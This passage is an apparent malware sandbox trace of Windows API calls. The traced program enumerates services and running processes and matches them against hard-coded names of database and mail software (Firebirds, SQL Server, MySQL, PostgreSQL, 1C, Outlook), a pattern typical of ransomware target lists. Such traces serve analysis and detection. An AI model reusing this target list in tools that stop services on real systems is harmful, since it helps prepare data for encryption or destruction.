	[0084.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1
	[0084.561] lstrlenW (lpString="BFE") returned 3
	[0084.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0084.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0084.561] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0084.561] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0084.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0084.561] lstrlenW (lpString="CryptSvc") returned 8
	[0084.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0084.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0084.561] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0084.561] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0084.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0084.561] lstrlenW (lpString="CscService") returned 10
	[0084.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1
	[0084.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1
	[0084.561] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1
	[0084.561] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1
	[0084.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1
	[0084.562] lstrlenW (lpString="DcomLaunch") returned 10
	[0084.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0084.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0084.562] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0084.562] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0084.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0084.562] lstrlenW (lpString="Dhcp") returned 4
	[0084.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0084.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0084.562] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0084.562] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0084.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0084.562] lstrlenW (lpString="Dnscache") returned 8
	[0084.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0084.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0084.562] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0084.562] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0084.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0084.562] lstrlenW (lpString="DPS") returned 3
	[0084.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0084.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0084.563] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0084.563] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0084.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0084.563] lstrlenW (lpString="eventlog") returned 8
	[0084.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1
	[0084.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1
	[0084.563] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1
	[0084.563] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1
	[0084.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1
	[0084.563] lstrlenW (lpString="EventSystem") returned 11
	[0084.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0084.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0084.563] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0084.563] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0084.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0084.563] lstrlenW (lpString="gpsvc") returned 5
	[0084.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0084.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0084.563] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0084.563] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0084.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0084.564] lstrlenW (lpString="iphlpsvc") returned 8
	[0084.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0084.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0084.564] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0084.564] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0084.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0084.564] lstrlenW (lpString="LanmanServer") returned 12
	[0084.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0084.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0084.564] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0084.564] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0084.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0084.564] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0084.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0084.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0084.564] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0084.564] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0084.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0084.564] lstrlenW (lpString="lmhosts") returned 7
	[0084.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0084.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0084.564] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0084.564] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0084.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0084.565] lstrlenW (lpString="MMCSS") returned 5
	[0084.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1
	[0084.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1
	[0084.565] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1
	[0084.565] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1
	[0084.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1
	[0084.565] lstrlenW (lpString="MpsSvc") returned 6
	[0084.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0084.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0084.565] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0084.565] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0084.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0084.565] lstrlenW (lpString="Netman") returned 6
	[0084.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1
	[0084.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1
	[0084.565] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1
	[0084.565] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1
	[0084.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1
	[0084.565] lstrlenW (lpString="netprofm") returned 8
	[0084.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0084.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0084.565] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0084.565] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0084.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0084.565] lstrlenW (lpString="NlaSvc") returned 6
	[0084.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0084.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0084.565] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0084.565] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0084.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0084.565] lstrlenW (lpString="nsi") returned 3
	[0084.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0084.566] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0084.566] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0084.566] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0084.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0084.566] lstrlenW (lpString="PcaSvc") returned 6
	[0084.566] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0084.566] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0084.566] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0084.566] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0084.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0084.566] lstrlenW (lpString="PlugPlay") returned 8
	[0084.566] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0084.566] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0084.566] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0084.566] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0084.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0084.566] lstrlenW (lpString="Power") returned 5
	[0084.566] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0084.566] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0084.566] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0084.566] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0084.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0084.566] lstrlenW (lpString="ProfSvc") returned 7
	[0084.566] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0084.566] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0084.566] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0084.566] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0084.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0084.566] lstrlenW (lpString="RpcEptMapper") returned 12
	[0084.566] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0084.566] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0084.566] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0084.566] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0084.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0084.566] lstrlenW (lpString="RpcSs") returned 5
	[0084.566] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0084.566] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0084.567] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0084.567] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0084.567] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0084.567] lstrlenW (lpString="SamSs") returned 5
	[0084.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0084.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0084.567] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0084.567] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0084.567] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0084.567] lstrlenW (lpString="Schedule") returned 8
	[0084.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0084.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0084.567] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0084.567] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0084.567] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0084.567] lstrlenW (lpString="SENS") returned 4
	[0084.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0084.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0084.567] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0084.567] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0084.567] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0084.567] lstrlenW (lpString="ShellHWDetection") returned 16
	[0084.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0084.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0084.567] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0084.567] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0084.567] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0084.567] lstrlenW (lpString="Spooler") returned 7
	[0084.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0084.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0084.567] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0084.567] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0084.567] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0084.567] lstrlenW (lpString="SysMain") returned 7
	[0084.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0084.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0084.568] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0084.568] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0084.568] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0084.568] lstrlenW (lpString="Themes") returned 6
	[0084.568] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0084.568] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0084.568] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0084.568] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0084.568] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0084.568] lstrlenW (lpString="TrkWks") returned 6
	[0084.568] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1
	[0084.568] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1
	[0084.568] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1
	[0084.568] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1
	[0084.568] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1
	[0084.568] lstrlenW (lpString="UxSms") returned 5
	[0084.568] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1
	[0084.568] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1
	[0084.568] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1
	[0084.568] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1
	[0084.568] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1
	[0084.568] lstrlenW (lpString="WdiServiceHost") returned 14
	[0084.568] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0084.568] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0084.568] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1
	[0084.568] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1
	[0084.568] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1
	[0084.568] lstrlenW (lpString="WdiSystemHost") returned 13
	[0084.568] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0084.569] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0084.569] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1
	[0084.569] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1
	[0084.569] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1
	[0084.569] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19
	[0084.569] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0084.569] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0084.569] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1
	[0084.569] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1
	[0084.569] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1
	[0084.569] lstrlenW (lpString="Winmgmt") returned 7
	[0084.569] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1
	[0084.569] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1
	[0084.569] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1
	[0084.569] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1
	[0084.569] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1
	[0084.569] lstrlenW (lpString="WPDBusEnum") returned 10
	[0084.569] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0084.569] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0084.569] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1
	[0084.569] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1
	[0084.569] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1
	[0084.569] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d91b8 | out: hHeap=0x4a0000) returned 1
	[0084.569] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe0
	[0084.572] Process32FirstW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0084.572] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0084.573] lstrlenW (lpString="System") returned 6
	[0084.573] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1
	[0084.573] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1
	[0084.573] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1
	[0084.573] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1
	[0084.573] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1
	[0084.573] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1
	[0084.573] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1
	[0084.573] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0084.574] lstrlenW (lpString="smss.exe") returned 8
	[0084.574] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1
	[0084.574] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1
	[0084.574] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1
	[0084.574] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1
	[0084.574] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1
	[0084.574] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1
	[0084.574] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1
	[0084.574] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0084.575] lstrlenW (lpString="csrss.exe") returned 9
	[0084.575] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0084.575] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0084.575] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0084.575] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0084.575] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0084.575] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0084.575] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0084.575] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0084.576] lstrlenW (lpString="wininit.exe") returned 11
	[0084.576] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1
	[0084.576] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1
	[0084.576] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1
	[0084.576] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1
	[0084.576] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1
	[0084.576] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1
	[0084.576] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1
	[0084.576] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0084.576] lstrlenW (lpString="csrss.exe") returned 9
	[0084.576] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0084.576] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0084.576] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0084.576] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0084.576] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0084.576] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0084.577] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0084.577] lstrlenW (lpString="winlogon.exe") returned 12
	[0084.577] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0084.578] lstrlenW (lpString="services.exe") returned 12
	[0084.578] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0084.578] lstrlenW (lpString="lsass.exe") returned 9
	[0084.578] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0084.579] lstrlenW (lpString="lsm.exe") returned 7
	[0084.579] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0084.579] lstrlenW (lpString="svchost.exe") returned 11
